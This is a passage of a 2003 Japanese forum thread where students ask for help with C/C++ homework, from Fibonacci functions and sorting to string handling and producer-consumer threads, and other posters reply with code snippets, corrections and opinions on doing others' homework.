ですが、頭が悪いのでそれをプログラムに表わすことができません。どなたかプログラムを書いていただけないでしょうか?・・・
200 :
デフォルトの名無しさん :03/10/31 22:33
問2. 整数n を引数として受け付けて、n 番目のフィボナッチ数を す関数を作成し、main から呼び出して確認せよ。ただし、フォボナッチ数列は以下のような数列である。 1,1,2,3,5,8,... この問題は配列使った方がいいのでしょうか? 配列を使う場合は前もってフィボナッチ数を調べれば作れそうなのですが、 for文でまわして作るのは現在、苦戦中です。 ヒントでも下さい。
201 :
デフォルトの名無しさん :03/10/31 22:34
#include<stdio.h> int fibo(int dn){ int i,a=0; if(dn!=0){ a=1; for(i=2;i<dn;i++){ a=a+(a-1); } } return(a); } int main(void){ int n; printf("引数n:"); scanf("%d",&n); printf("%d番目のフィボナッチ数は%dです。",n,fibo(n)); return(0); } これだと当たり前ですが、3番目以降も1になってしまう。 どうやれば3番目以降できるのでしょうか。
出来るところまで、どんな出来でもいいから、何を使ってもいいから、12月までにXML-CSSレタリングエンジン作れと言われました。
>>200 int fib(int n) { return n < 3? 1 : fib(n - 1) + fib(n - 2); }
>>201 関係無いけど、戻り値ってreturn 0;でもreturn(0);でもどっちでもいいの?
205 :
デフォルトの名無しさん :03/10/31 23:02
むしろ0が無くてもいい
i = 0; でも i = (0); でも i = (((((0))))); でも同じこと。
208 :
デフォルトの名無しさん :03/10/31 23:12
これでもO.K.ですね #include<stdio.h> int fib(int dn) { int a; a=(dn < 3)? 1 : fib(dn - 1) + fib(dn - 2); return (a); } int main(void){ int n; printf("引数n:"); scanf("%d",&n); printf("%d番目のフィボナッチ数は%dです。",n,fib(n)); return(0); }
>>209 rand() 使えば良いとは思うんだけど、それからが分からん。
こりゃ自分で解くしかなさそうだぞ >195
>>195 > までを教えてくれたのですが、以降が全く解りません。
以降も糞も、そのソースは先生のヒントだろ・・・
215 :
>>184 :03/11/01 00:13
画像処理の問題で…
>>188 はい、多分、線形濃度変換ってやつです。
グレースケールだとうまくいくんだけど…
一応グレースケールだと濃度ヒストグラム出してストレッチングする幅を決めるんですけど、
輝度のヒストグラム出して幅を決めて、ストレッチングして、
さらに新輝度/旧輝度をもとのimg[j][i]にかけてやると…
不思議と黒くなるはずのところが青くなってたり…。
>>190 floatでもいいんですけど、この場合小数点以下ってあんまりこだわらなくてもできると思ったんで…
使用メモリ領域も減らしたかったから、ちょいいいかげんになるけど、intを使ったんだけど、まずいんすか?
>>195 #include <stdio.h>
#include <stdlib.h>
int main()
{
int n=0, r=0,i=0;/* n=ループを回った回数 r=ランダム数 i=1〜10までになった回数 */
while(1){
if(r=rand()%100 + 1<11)
i++;
n++;
if(i>=1000)break;
}
printf("%d",n);
return 0;
}
これじゃだめか?
218 :
デフォルトの名無しさん :03/11/01 00:35
まさかこんなに難問だったなんて・・・
そういえばヒントの中に、r = rand()%100 + 1; n++;の次の行は
if(rが1以上10以下)
っても書いてました。
少し役に立てばいいんですけど・・・。
>>216 コンパイル通りませんでした・・・
#include <stdio.h> #include <stdlib.h> #include <vector> int main() { using namespace std; int n, r; vector<int> vec; while(1) { r = rand()%100 + 1; n++; vec.push_back(r); count_if(vec.begin(), vec.end(),bind2nd(less<int>(), 10) ,n); if(n >= 10) break; } cout << vec.size() << "個" << endl; }
>>195 #include <stdio.h>
#include <stdlib.h>
#include <vector>
#include <iostream>
#include <algorithm>
#include <functional>
int main()
{
using namespace std;
int n, r;
vector<int> vec;
srand(time(NULL));
while(1)
{
r = rand()%100 + 1; n++;
vec.push_back(r);
if(10 <= count_if(vec.begin(), vec.end(), bind2nd(less<int>(), 10)))
break;
}
cout << vec.size() << "個" << endl;
}
>>215 整数でやるから青くなるんじゃね?
doubleで計算してみ。
>>222 less<int>()じゃなくてless_equal<int>()だろ
>>220-221 コンパイルしたら致命的エラーと出ました・・・
多分今まで基本的構文しか習っていないので先生いわく20行以内で書けるプログラムみたいです。
ぺろぺろ
>>224 メモリが有限の今のシステムにおいては、この問題を完全に解く
プログラムは不可能です。
2〜3行で十分。
#include <stdio.h> #include <stdlib.h> int main(){int n, c;for(n=0, c=0; rand()%100+1 > 10 || ++c < 1000; ++n);return printf("%d",n), 0;}
>>227 >メモリが有限の今のシステムにおいては、この問題を完全に解く
>プログラムは不可能です。
これが答えなのでは?
randが正確な乱数なら解けないが、どうせ線形合同法なんだから解けるだろ。
うーん、どうやらこのままでは埒が開かないみたいなので、自分なりに努力してみます。 次の講義で解答が解るのでその時はここに書きます。 教えて下さった皆様ありがとうございました
>>195 とりあえず的に自分で考えないで質問するのはちょっとな…と思うのは俺だけか?
まぁ、だいたい適当に書いたプログラムだ…バグもあるさ…
それはそうと、コンパイルしたときエラーの出た行を見直してみろよ
そもそもバグフィックスできるの?
プログラム書いてバグ直して、完璧になるまでやる。
一発で通ったらそれはそれに越したことはないけど、
もし仕事とかついて書くようになれば、
人のプログラムを書き足したり、バグフィックスしなきゃ行けないんだぞ?
そういう仕事につきたいわけじゃないにしろ、
ある程度勉強しろよ。じゃなきゃ、何のための単位だ?
おまえわからないのに単位もらう気か?
と、ちょっと攻撃的なマジレス。
これは愛の鞭なんで。>195のためを思っていって(以下略
233 :
デフォルトの名無しさん :03/11/01 01:33
urandomつかえばいいじゃん
機種依存じゃん
>>232 まぁスレタイがスレタイだし、ここ2c(ry
237 :
デフォルトの名無しさん :03/11/01 01:46
urandom実装できない機種ってなんだ? そんなものは捨てるかラッパーかけろ
GBA
先生のヒントが間違ってるので
>>232 まぁ、2chだからな〜…って、妥協もあるにはあるけどさ〜
こういうひとって周りにいて、まじ雨座員だけど。
”>216(俺の名前)〜、ここわからないんだけど…レポートなんて書いた?わからないから教えて。”
とか聞いてくるやつ。
実際には教えてって言ってるけど、俺のレポート丸写ししやがって、
説明してやったら、”あー、なるほどね〜”とかいって、次の日とかに”あそこの係数、
やっぱり意味がわからないんだけど…”とかほざいてくる。
わからないんなら、考えろ。
考えて、どーなったか言ってみろ。
おまえはむしろ、レポート丸写ししたいだけなんじゃないかと小一時間(略
ってことがタイムリーに最近あったので…
私情をこめて悪かった。
ちなみに、>195よ・・・この問題かなり簡単だから…考えればすぐ解けるぞ。
241 :
デフォルトの名無しさん :03/11/01 01:59
配列を使用したリングバッファのキューでキューのサイズの上限を なくしたいのですが。領域コピーには、memcpy関数を使うか、ルー プして1つずつコピー。
242 :
デフォルトの名無しさん :03/11/01 02:05
241さん頑張ってますね。 ところでお前はいつからそんなに日本語が不自由になったんですか?
>>236 乱数つかって2重ループで、
内側のループは1,2,3,4だけで回して
モンテカルロっぽく確率計算。
数分で完成したが、さてこれはお前らの金儲けのためのプログラムか?
244 :
デフォルトの名無しさん :03/11/01 06:37
皆様のお知恵をお貸し下さい。 行いたいことは、以下のようなcsvファイルを区切り文字 ','で分割し、 Excelの任意セル位置(たとえば "B3")より順に貼り付けたく思います。 csvのデータ取得の段階にて * ただのブランク(""のみ)もデータとして扱う * かつ改行文字を判別させ lineをカウントする * データの ""を取り除く という3つの条件を満たすコードが思いつきません。 -- input.csv -------------------------- "test", "1", "Japan" "test2", "2", "Japan", "Tokyo" "test3", "" , "" , "Osaka", "1111" --------------------------------------- * 区切り文字は ',' * すべての文字列に "" がつく。 * データは可変長で構造化できない。 * 空白も1つのデータとしてカウントする。 申し訳ありませんがお知恵をお貸しください。 宜しくお願いします。
>>244 思いっきり環境依存しそうなので、自分の環境にあったスレに移動した方がいいよ。
C言語で char *str; str = (char*)malloc(100); strcpy(str, "ABCDEFGHIJKLMN"); で定義した文字列strの任意の箇所に 別の文字列を挿入したいのですが なにかよい方法はないでしょうか?
247 :
デフォルトの名無しさん :03/11/01 10:47
void insert( char* str, int pos, const char* a ) { char buf[100]; strcpy( buf, str + pos ); strcpy( str + pos, a ); strcat( str, buf ); } とても遅いが、それは気にしない。 バッファオーバーフローしちゃうかもだけど、 それはご自身で修正して下さい。
248 :
デフォルトの名無しさん :03/11/01 11:15
test
249 :
デフォルトの名無しさん :03/11/01 12:01
整数を入力してください(0で終了):2 15 7 9 0 リストは:2 7 9 15 こんなプログラムにしたいんですが0で終了すると正確なソート ができないばかりか-858993460がいっぱいでてきます。 何処がいけないんでしょうか?配列ではなくて連鎖リストで考えるんでしょうか? int list[MAX]; int count; for (count = 1 ; count < MAX ; count++) { cout << "整数を入力してください(0で終了) " << count << ": "; cin >> list[count]; if (list[count] == 0){ break; } ソート
>>249 最近は『ソート』と書くだけでソートしてくれるようになったのか?
>>249 ソートの部分が悪いと思う。
-858993460 = 0xCCCCCCCC で VC のデバッグモードではスタ
ックを 0xCCCCCCCC で埋めてるから、多分表示されているの
は未使用のスタック領域。多分、入力されていない部分まで
ソートしてるんじゃない?
それから、配列が1オリジンなのが少し気になる。
>>215 自分で書いたものがあるなら,
>>1 のアップローダーに晒して頂戴な。
255 :
デフォルトの名無しさん :03/11/01 14:52
ソート部分はこんな感じです。 void quick_sort(int list[], int left, int right) { int pivot, left_arrow, right_arrow; left_arrow = left; right_arrow = right; pivot = list[(left + right)/2]; do { while (list[right_arrow] > pivot) right_arrow--; while (list[left_arrow] < pivot) left_arrow++; if (left_arrow <= right_arrow) { swap(list[left_arrow], list[right_arrow]); left_arrow++; right_arrow--; } } while (right_arrow >= left_arrow); if (left < right_arrow) quick_sort(list, left, right_arrow); if (left_arrow < right) quick_sort(list, left_arrow, right); }
>>255 こんなmainだと、何の問題もないが??
#include <iostream>
#include <algorithm>
void quick_sort(int list[], int left, int right);
int main()
{
enum {
MAX = 10
};
int list[MAX];
int count;
for (count = 1; count < MAX; count++) {
cout << "整数を入力してください(0で終了) " << count << ": ";
cin >> list[count];
if (list[count] == 0) {
break;
}
}
quick_sort(list, 1, count);
for(;count!=0;--count)
cout << list[count] << " ";
cout << endl;
}
strcat関数って領域ってどうなってるんでしょうか? char a[5] = "AAAA"; char b[5] = "BBBB" strcat(a,b); っていうのは大丈夫なんでしょうか?;
>>257 基本的にCの文字列操作関数は領域の面倒を見てくれない。
よってプログラマが十分な長さを持った配列を渡さなくてはならない。
すれ違い
>>257 strcat()的には領域なんて知ったこっちゃありません。
aの配列は5文字分しか用意してないので、確実に領域外アクセスになります。
245さん, 251さんありがとうございます。 参考にしてみます。(・∀・)parse.c イイ!
261 :
デフォルトの名無しさん :03/11/02 04:31
標準入力からテキストファイルを読み込み、 行を辞書順に並べ直して標準出力に出力する。 (実行例) 入力 Windows Power Mac Unix 出力 Power Mac Unix Windows 学校の課題なのですが、まったくわかりません。 誰かご教授をおねがいいたします。
#include <iostream> #include <string> #include <algorithm> #include <vector> main() { std::string input; std::vector<std::string> storage; while (std::getline(std::cin, input)) { storage.push_back(input); } std::sort(storage.begin(), storage.end()); std::copy(storage.begin(), storage.end(), std::ostream_iterator<std::string>(std::cout, "\n") ); } こんなところか
263 :
デフォルトの名無しさん :03/11/02 06:15
お 前 の た め に 言 う 宿 題 ぐ ら い 自 分 で や れ
>>263 お 前 の た め に 言 う
>>1 ぐ ら い き ち ん と 読 め
266 :
デフォルトの名無しさん :03/11/02 11:26
このふざけたタイトルに誰も文句言っていないな。
>>266 やらせて→やって、だろ。
スレの趣旨が変わってるんだよな。
趣旨は変わってないようですよ。
>1がケツまくって,逃げ出しただけですな。
>>271 ・減色処理と輝度計算と描画処理とイベント処理は分けないと見通しが悪い。
・floatへのcastは無駄だから、するならdoubleにcast。しかもタイミングが間違っている。
・hmin、hmaxが初期化されていない。
・exit()に負の値を渡してはいけない。
・黒のスペリングが間違っている。
ぱっと見で、以上。
> ・exit()に負の値を渡してはいけない。 そうなの?
>>271 画素変換だけチェック。
やってるのはY成分,輝度のダイナミックレンジ変換か。
tmp=(int)(new[j][i]*buffer[j][3*i+k]/old[j][i]);
↓
tmp = buffer[j][3*i+k]-old[j][i]+new[j][i];
>>261 にコメントだけ答えてみよう
//charを[100][100]個くらいとっとけ
//文字列取得用にchar[100]くらいとっとけ
//標準入力1行取得が終わるまでか、100超えるまでループ
// 行を次々に保存
//100超えてたらエラー
//ソートのアルゴリズムくらい適当に調べて使え、strcmpでOK
//先頭から順に出力
ソートは文字列自体を入れ替えるから、データの交換回数が少ない選択ソートあたりがいいかな。
課題
・100文字を越える行があったらどうしよう
・動的にメモリ確保すれば100個という制限はうけない
・文字列そのものでなくポインタの配列をソートするほうがパフォーマンスが良い
276 :
デフォルトの名無しさん :03/11/02 16:41
初期化しないとどうなっちゃうんですか??
278 :
デフォルトの名無しさん :03/11/02 17:05
Cで標準入力から文字列を読み込み、AAかどうか判断するプログラムを作れ。
答えてみる。
おそらく
>>276 は
>>270 ではないが、
>>272 の
>・hmin、hmaxが初期化されていない。
に対して疑問を持っているのであろう。
これを踏まえると、
>>276 >>270 のコードに於いて、hmin,hmaxに値が代入されたかどうかを
テストするために-1と比較している部分があるが、初期化されていない
変数の値は不定なので、意図したように動作しないとおもわれる。
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { return strncmp("AA", fgets(malloc(1000), 1000, stdin), 2) == 0; }
そういえば、漏れが行ってた専門では void main() で教えてて、 どうしてステータスコードを返さないんですか?と質問したところ、 使わないから、説明が面倒だから、と答えられたことがあった。 理解出来なかったので 課題で int main() を使い続けたところ、 次に int main() を使ったら減点します、って赤ペンで書かれてた。 あんなのがいるから void main() なんて平気で書く生徒が減らないんだろうな。
専門だからだろ。大学じゃそんな教授はいない。
>>282 そうかもね。
少なくとも、私が行ってた専門は勉強しにいくとこじゃなかったし。
減点ってのはすげえな。
教師に逆らう生徒は減点して当然だと思うが。それが人情ってものだろ。
企業の研修なら話はわかるけどよぉ。 学問の場でそれはないだろ。 それとも,専門学校(専門ってこれだよな?)って学問の場じゃない???
世の中には教え子をレイプする教師もいる。
協調性を身につけろという教えだヨ
独創性の欠片もないような馬鹿が協調性だけ身に付けたってうぜぇだけなんだけどなぁ。
気に食わないから減点
鼻毛が出てたから減点
292 :
271==270 :03/11/02 21:21
>>272 とりあえず・・・
原色処理と輝度計算は前後のループでここならはループが減るって所に置いたから
確かに人が見たとき見にくいっすね。実は関数においちゃおうかと思ったんすけど、
配列の渡し方忘れちゃいまして。これでもいいかと…どうせ教授やMasterの先輩が見るんだろうしと、、、
思ってしまったので、垂れ流し的に書いてしまいました。
あと、hmax,hmin,borderについて…。どっかでオーバーフローしてると思ったんすけど、
ここだつたとは。
if(hmax==-1||hmin==-1){
printf("failed");
exit (-1);
}
は、たしかにおかしい(汗
んでもって、ここif(hmin<0||hmax<0)に変えてみて
これらの宣言(hmax hmin border)をintにしたら、うまくいきました。
第一、unsigned だから、負の値はとりませんでした…マジ、無駄なことしてた折れっていったい…しかもなぜ等号なのか…
>>176 初期化は転ばぬ先の杖って所かな…。変数が処理されてないときすぐわかるし。
てか、しないとできないプログラムもあるけど。
ループで+=,-=,*=,/=するときは絶対にしないとまずいし…。
293 :
271==270 :03/11/02 21:25
>>272 どうも、ありがとうございますた。
このソースを見てすぐご指摘いただいたところを見ると、
かなりのえらい方っすか?
お礼の言葉が先に出なくてすんませんでした。
294 :
デフォルトの名無しさん :03/11/02 21:47
Class C; func(C); と Class C; func(&C); って違いますか?上のfunc(C)のCはポインタじゃないのですか?
>>294 ちなみに、上のケースでCが実際どういう風に渡されるかは
関数funcによる。
それではCは何を意味してるんですか??特に実体はないんですか?
なんだか int i[10] のiみたいなイメージがあるもので。
むしろ実体そのもの(だからポインタではない)では?
なんか「C」単体ではあまり意味がなさそうな感じがするので、 勝手にポインタみたいなものだろうと脳内解釈してました。 でもほんとは何なのだかまだ分かってません。 スレ違い気味ですが助けてください。
301 :
デフォルトの名無しさん :03/11/02 22:21
ん? Cはクラス名じゃん。 普通コンパイルエラーだぞ。 func(C()); ならアリだけどな。 つうか Class って何よ。
あ、Classがクラス名なのか… 逝ってくる
構造体を先に勉強した方がいいな。クラスまで一気にやると混乱するだろ。
Cの中身は Class C; と宣言した時点で決まっている。 func(C); とした関数funcの内でCがどのようになってるかは,関数funcの実装に依存する。 関数funcのコード次第ってこと。
あっ、急に分かりました。ありがとうございました。
for (i = 0; i < PQntuples(result); i++) { for (j = 0; j < PQnfields(result); j++ ) { printf("%-15s", PQgetvalue(result, i, j)); } printf("\n"); } PostgerSQLサーバから、結果を受信していざ表示、というルーチンなんですが。 結果を表示し終わった瞬間(結果がなかったらすぐに)Segmentation faultが起きてしまいます。 どしたらいいんでしょ?
すみません、自己解決しました。 ただのバッファオーバーランでした('A`) おやすみなさい…
>>293 そう言ってくれると嬉しいけれど、hmin, hmaxがunsignedだってことを見落とすくらいだから高が知れてますって。
そうそう、printf()の最後に改行がないけど、これだとコマンドプロンプトが行の途中に出て邪魔じゃない?
後はmain()の中でstaticな変数ってのも無意味で気になる。
整数nを引数として受け付け、n番目のフィボナッチ数を返す関数をmainから 呼び出して確認せよ。 ただし、フィボナッチ数列は以下のような数列である。 1 1 2 3 5 8 13… この問題で「引数として受け付け」と「mainから呼び出して」というとこが 分からないです。 教えて下さい。
「引数として受け付け」 int FibonacciNumbers(int n); こういう関数を書けってこと。 「mainから呼び出して」 void main(){ int n=10; int answer; answer = FibonacciNumbers(n); }
ガイシュツ…って書こうとしたらそんな所かよ(;´Д`) 授業で何を聞いてたのかと。
ありがとう。 いまいち分からなかったんだよね…。 関数のこと分かりました。
問1 1以上50以下のランダムな数を1つ生成して、その数だけの'a'で構成される文字列を 作成せよ。ただし、単に出力するのではなく、文字列として作成せよ。 問2 0以上100未満までの整数をランダムに100個生成して格納せよ。 いったん全ての整数を配列に格納した後この要素を先頭から調べて、 偶数であったらevenという配列に奇数であったらoddという配列に格納し、 それぞれの配列を出力せよ。 例2、55、4、8、11、24…という数が格納されている場合… oddは11、55…となり、evenは2、4、8、24…となる。 問1は、文字列として作成せよという箇所が分からなくて、 問2は、ランダムに100個生成は出来るのですが、生成した数を oddとevenに分けることが出来ません。 教えて下さい。
315 :
デフォルトの名無しさん :03/11/03 17:29
>>314 問1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
int main()
{
char s[51]={0};
srand(time(NULL));
memset(s,'a',rand()%50+1);
return 0;
}
四則演算を行う関数を作る。 3引数の関数で、第1引数には+-*/のいづれかが入力されることを期待し、 第2引数には指定された演算の第1オペラント、第3引数は指定された 演算の第2オペラントを取るものとする。 第1引数に四則演算以外の文字が指定された場合は全て加算として計算せよ。
int f(const char op, const int lhs, const int rhs) { switch(op) { case '-': return lhs - rhs; case '*': return lhs * rhs; case '/': return lhs / rhs; default: return lhs + rhs; } }
320 :
デフォルトの名無しさん :03/11/03 17:42
>>314 問2
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int icmp(const void *,const void *);
int main()
{
int a[100],odd[101],even[101],i,j=0,k=0;
srand(time(NULL));
for(i=0;i<100;i++)
a[i]=rand()%100;
qsort(a,100,sizeof(int),icmp);
for(i=0;i<100;i++)
if(a[i]&i)
odd[j++]=a[i];
else
even[k++]=a[i];
odd[j]=-1,even[k]=-1;
321 :
320のつづき :03/11/03 17:43
for(i=0;odd[i]>=0;i++) printf("%d ",odd[i]); putchar('\n'); for(i=0;even[i]>=0;i++) printf("%d ",even[i]); putchar('\n'); return 0; } int icmp(const void *x,const void *y) { const int *px=x,*py=y; return *px==*py?0:*px>*py?1:-1; }
>>314 0〜99までループさせて、偶数だったらevenに追加、奇数だったらoddに追加、じゃダメ?
なんか全然ダメみたい
> if(a[i]&i) ここだ。なんでiにしてんだろう・・・・ if(a[i]&1) これに修正
宿題のレベルから考えて、switchや比較関数つきのsortを使うのは…
オナニーの邪魔?そりゃ悪かった。
問一は
string s = (rand()%50+1,'a');
のが求められてる予感。
>>318 正しくはオペラン「ド」(operand)な。
つーか質問者、CなのかC++なのか書けよな。
問1の「文字列」ってのは、
int main()
{
int cnt,i;
cnt = rand()%50
for(i=0; i<cnt; i++){
putchar('a');
}
return 0
}
じゃダメで、
>>315 のようにしろってことでいいんじゃない?
>>315 はNULL止めしてないけどね。
問題のレベルから察するに、
int main()
{
int cnt,i;
char a[51];
cnt = rand()%50;
for(i=0; i<cnt; i++){
a[i] = 'a'
}
a[i] = '0\';
return 0
}
のほうが模範解答っぽい。
>>327 NULクリアされているはずだが。
で、'0\' てなに?
>>328 char s[51]={0};
で全部NULLになんの?
なるなら漏れの知識不足でスマソ。
'0\'も激しく間違いだし、1行セミコロン忘れもある。
_no
>>329 NULLではなくNUL。そして、1行ではなく2行。
NULLじゃなくてNUL? なんか表現として決まりがあんの? 今までずっとNULLで通してきたけど。 しかも2行あるし…。 普段は秀丸でセミコロンは問答無用で赤字極太にしてるからなぁ。 なんか自分が質問側になってしまっている…OTL
>>332 ポインタはNULL、文字はNUL。
前者はCの仕様上必然だろうし、後者はascii/JIS/ISOで使われている。
まぁ、私の場合後者は「ナル文字」と言うが。
ヌル文字のこと NUL っていうかなぁ。 確かに、ASCII コード票の 0 のところには null を略して NUL って書いてあったりするけど。 あと、ポインタは NULL (ヌルポ)、文字は '\0' (ヌル文字)でいいと思うんだけど。
>>333 へぇ〜。ためになった、覚えとこう。
でも結局全部0x00なんだよね。
区別すんの('A`)マンドクセ
>>336 だから区別せずにすべて 0 と書けばいい。
下手にNULLとか書くから、こいつ分かってねーなってことになる。
>>337 おお、なるほど。
でもCのソース上、"NUL"って使えないよな。
Cでヌル文字を入れるときは
szHoge[51]=NULL;
って一般的に書かないか?
szHoge[51]='\0';
のほうが一般的?
漏れはたいてい前者なんだが。
ぬるぽ
>>338 >szHoge[51]=NULL;
>って一般的に書かないか?
書かないな。つーか書いたらダメだ。
#define NULL (void *)0
と書いてある環境を考えるとコンパイルエラーになる
俺は > szHoge[51]='\0'; こっち 間違っても > szHoge[51]=NULL; はしない。
>szHoge[51]=NULL; >って一般的に書かないか? 本当に配列とポインタを区別してソースやサンプルを読んでいるのか問いつめたい。
int *szHoge[999]; szHoge[51]=NULL; ならやるかもな 版画利案?なにそれ
344 :
デフォルトの名無しさん :03/11/04 01:13
>>256 すみません。数字を小さい順に出すにはどうしたら
よいのでしょうか?
>>344 ・小さい順に並べ替える
・一番小さいものを見つけて出力、その次に小さいものを見つけて出力
など、いろいろ。
紙に書きながらプログラムに落としていってみれ
>>342 配列とポインタ? どこにそんな話が…。
>>319 さんのを使い自分なりに
#include <stdio.h>
double shisoku( x , y ){
char op;
switch (op) {
case 43 : x + y ; break;
case 45 : x - y ; break;
case 42 : x * y ; break;
case 47 : x / y ; break;
default : x + y ; break;
}
}
と書き換えたのですがmain関数で実行するとどうしても1.#QNANDと文字化けしてしまいます。
どのようにすれば良いのでしょうか?
348 :
デフォルトの名無しさん :03/11/04 01:35
>>347 な ん で 書 き 換 え る ん だ よ
>>348 授業で習ったこと以上のものを使うのは不自然かなと思ったからです。
あとは少しでも自分の力をつけたくて。
20個の整数を入力として受け付けて配列に格納せよ。その配列中に 3と8が両方含まれていれば1を出力し、どちらか一方が含まれていれば2を出力し、 どちらも含まれて居ない時には3を出力せよ。 C++でおながいします。
>>349 そしてまた聞きに来たと。それは自分の力か?
教科書を穴が開くほど読んでください。 昔から悪銭身につかずといって労せずして得たものはすぐなくなってしまうものなのです。
>>350 #include <iostream>
#include <vector>
#include <algorithm>
int main()
{
std::vector< int > v;
int input;
while( v.size() < 20 )
if( std::cin >> input )
v.push_back( input );
else
return 1;
bool const found_3 = ( std::find( v.begin() , v.end() , 3 ) != v.end() );
bool const found_8 = ( std::find( v.begin() , v.end() , 8 ) != v.end() );
int output = 0;
if( found_3 && found_8 )
output = 1;
else if( found_3 || found_8 )
output = 2;
else
output = 3;
std::cout << output << std::endl;
return 0;
}
355 :
デフォルトの名無しさん :03/11/04 02:35
昇順にアウトプットするのは単に++countにするのかと いろいろ考えてみたんですが、違いました。 MAX=10でしかも0のインプットでプログラムがストップ するようになっているので昇順は無理なんでしょうか? #include <iostream> #include <algorithm> void quick_sort(int list[], int left, int right); int main() {enum { MAX = 10 }; int list[MAX]; int count; for (count = 1; count < MAX; count++) { cout << "整数を入力してください(0で終了) " << count << ": "; cin >> list[count]; if (list[count] == 0) { break; } } quick_sort(list, 1, count); for(;count!=0;--count) cout << list[count] << " "; cout << endl; }
>>355 for(int i = 1;i <= count;++i)
cout << list[i] << " ";
357 :
デフォルトの名無しさん :03/11/04 07:49
TicTacToeというOXゲームの class Boardの作成。 enum Player{X, O, empty} public: Board();コンストラクター void Place(P, col, row);ボードの縦(col)横(row)にプレーヤーPをセット int Win(P); 勝てば1を負ければ0を返す。 int Statemate(); 引き分けなら0をそれ以外は1を返す。 こんなクラス宣言なんですがvoid Place(P, col, row);の部分の定義を どうしたら良いのかわかりません。教えてください!
>>338 >szHoge[51]=NULL;
絶対駄目。
そもそも、 #define NULL 0 ってなってるとは限らないし。
…遅レウsは結構だがスレ読み返せよ
>319より>347のが難しく見えるのは俺だけか。 それは文字化けでなく、馬鹿プログラムを実行したマシンの心の叫び、あるいはエラー。 ・関数、引数、帰り値/戻り値の3つの単語の意味を調べろ。 ・とりあえず引数を三つ取れ。 ・opに値を入れてないのにopの値で条件分岐させるのは占いか何かですか? ・switchよりifの羅列のが易しくて野暮ったくて学生チックと思う。switch習ってるなら別にいいが。
362 :
デフォルトの名無しさん :03/11/04 10:32
347は偽者じゃないかな。
363 :
デフォルトの名無しさん :03/11/04 13:20
>>353 このスレは適切な助言をして初学者を導くためではなく、安易に回答を示して、
回答者が手慣らしをしつつ、質問者を堕落させるのが本来のありかたです。
と思って回答してるよ。
Cの質問です。 #include<stdio.h> #include <stdlib.h> #include<ctype.h> int main(void) {char a[100]; int line=0; FILE *fi, *fo; /* fopen */ if( (fi=fopen("1-2.c","r"))==NULL ){ printf("OPEN ERROR!\n"); exit(1);} fo=fopen("list.txt","w"); /* while, fgets, printf */ while(1){ if( (fgets(a, 100, fi)) == NULL ) break; ++line; fprintf(fo,"%d: %s",line,a); } fclose(fi);fclose(fo); return 0; } これで出来たlist.txtと入力した1-2.cをプログラム上で くっつけてファイル出力したいのですが どうも良く分からないので教えてください。
生産者・消費者問題 producerはデータを作り、それを1つずつバッファに置く。 consumerは置かれたデータを取得し画面に出力する。 データを置く場所バッファの大きさは5で、環状バッファとする。 Producerはバッファにデータを置く。 バッファが空いていなかったら空くまで待つ。 Consumerはバッファの上に置かれているデータをとって画面に出力する。 データがなかったら置かれるまで待つ。 また、ConsumerはProducer が作成した順序でデータを受け取らなくてはならない。 これをマルチスレッドとセマフォによる排他制御で実現せよ。(C++)
う、コピペしたら偉そうになってしまいました(汗
>>365 よろしくお願いします。
>>366 セマフォやスレッドはCの<semaphore.h><pthread.h>を使って
全体としてはC++で書け、ということです。
printfの代わりにcout<<使うとか、その程度の事だと思います。
>>368 Cの・・・じゃなくてUNIXの・・・でそ?
末尾に目印を立てる必要なんてないな。jとkを使えばいいんだから。今頃気づいた(^o^;)
>>366 aにして実行すればファイルに追加されていくのは分かったのですが
それって同じファイル名指定しなくては意味が無いじゃないですか。
1回目はいいですけど、もう一回実行すると…。
新しいファイルを作って出力をしたいのです。
>>371 あぁ・・・問題を勘違いしてた。頼むから質問は的確にしてくれ。
要するにlist.txtと1-2.cという二つのテキストファイルを連結して別のファイルに出力したいんだろ?
list.txtを作成するプログラム示されても混乱するだけだよ。
1-2.cをlist.txtに出力するプログラムは出来るんだからその部分のファイル名変えるだけじゃん?
373 :
デフォルトの名無しさん :03/11/04 17:27
ループを使わないで次のようなプログラムを作りなさい。 アルファベットを何文字まで出力しますか:3 abc アルファベットを何文字まで出力しますか:26 abcdefghijklmnopqrstuvwxwz アルファベットは何文字まで出力しますか:27 アルファベットは26文字までです。 #include <stdio.h> int main(void) { int n; char alph[26]="abcdefghijklmnopqrstuvwxwz"; printf("アルファベットを何文字まで出力しますか:"); scanf("%d", &n); if(n <= 26){ alph[n] = '\0'; puts(alph); } else puts("アルファベットは26文字です。"); return 0; 上のプログラムに何か足せればいいみたいなんですが・・・。 教えてもらえないでしょうか?
それで動かんの?
char alph[26] に、alph[26]='\0'は無法だろ。
char alph[]="abcdefghijklmnopqrstuvwxwz";
最後に }
>>377 引くのは反則w
alph[n] = '\0';
↓
if ( n!=26 ) alph[n] = '\0';
char alph[26+1]="abcdefghijklmnopqrstuvwxwz";
>>365 #include <semaphore.h>
#include <pthread.h>
#include <iostream>
#include <deque>
#include <unistd.h>
using namespace std;
class Producer
{
pthread_t thread_;
deque<int> buf_;
public:
static void* run(void *pParam)
{
Producer *p = static_cast<Producer*>(pParam);
for(;;)
{
if(p->buf_.size() < 5)
p->buf_.push_back(rand());
else
usleep(1000);
}
}
Producer()
{
pthread_create(&thread_, NULL, run, this);
}
int get() { while(buf_.empty()) ; int ret = buf_.front(); buf_.pop_front(); return ret; } }; class Consumer { pthread_t thread_; Producer& producer_; public: static void* run(void *pParam) { Consumer *p = static_cast<Consumer*>(pParam); for(;;) { cout << p->producer_.get() << endl; } } Consumer(Producer &producer) : producer_(producer) { pthread_create(&thread_, NULL, run, this); } };
main() { Producer producer; Consumer consumer(producer); usleep(100000000); } STLがスレッドセーフだと仮定してみたのでセマフォは(゚听)イラネ 。 あとリングバッファは大抵のdequeの実装がリングバッファなのでdeque使えばOK。
ちゃんと正しい順序で追加取り出しを行っている事を証明するために Producerのメンバに int val_; を追加して、 p->buf_.push_back(rand());を p->buf_.push_back(p->val_++);に変えた方がいいかも。 val_はこんな感じでコンストラクタで初期化 Producer() : val_(0) { pthread_create(&thread_, NULL, run, this); }
>STLがスレッドセーフだと仮定 これも無法な仮定だな。ありえない。
>>363 ここで回答者を観察してるけど、
”この質問してる奴が、このプログラムを理解できるとは到底思えん。”
ぽい回答をしてることが多いと思う。
従って回答者は、
”出題者に説明を求められたときに、質問者が心底困るような回答。”
を狙っているのかと思った。
389 :
デフォルトの名無しさん :03/11/04 20:37
